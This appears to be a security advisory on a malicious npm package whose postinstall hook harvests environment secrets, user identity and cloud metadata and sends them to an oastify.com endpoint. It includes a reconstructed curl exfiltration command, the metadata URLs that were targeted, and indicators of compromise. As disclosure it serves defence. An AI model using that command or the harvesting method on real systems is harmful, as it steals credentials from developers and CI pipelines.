GCVE-110-OSM-2026-9248

This package is an unambiguous supply-chain attack. The postinstall.js file (v15, self-described as '精简回传版 — 单请求 base64，控制数据量防截断') executes on npm install via a postinstall hook and collects hostname, user identity, sudo permissions, environment variables (filtered for KEY/TOKEN/SECRET/CREDENTIAL/AWS/GH_TOKEN etc.), process list, cloud metadata from AWS IMDS (169.254.169.254), Alibaba Cloud (100.100.100.200), and Tencent Cloud (metadata.tencentyun.com), then base64-encodes the entire payload and exfiltrates it via curl to the OAST endpoint pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The package also probes tst.woa.com/flag.html, suggesting a CTF-style flag retrieval as part of an active attack campaign. The publisher account is less than 1 hour old with 5 identically-structured packages published in a burst, consistent with a coordinated supply-chain seeding operation targeting CI/CD environments (GitHub Actions environment variables are explicitly targeted). ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/x?d=$data" (primary, reconstructed) - custom-c2: http://tst.woa.com/ (plaintext) in postinstall.js - custom-c2: http://tst.woa.com/flag.html (plaintext) in postinstall.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/instance-id (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://100.100.100.200/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js (+2 more) EXFIL - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 2f12974f8ceb206a773b9456efee5274e5bc739dc9d7436fdc7f0893ce61af82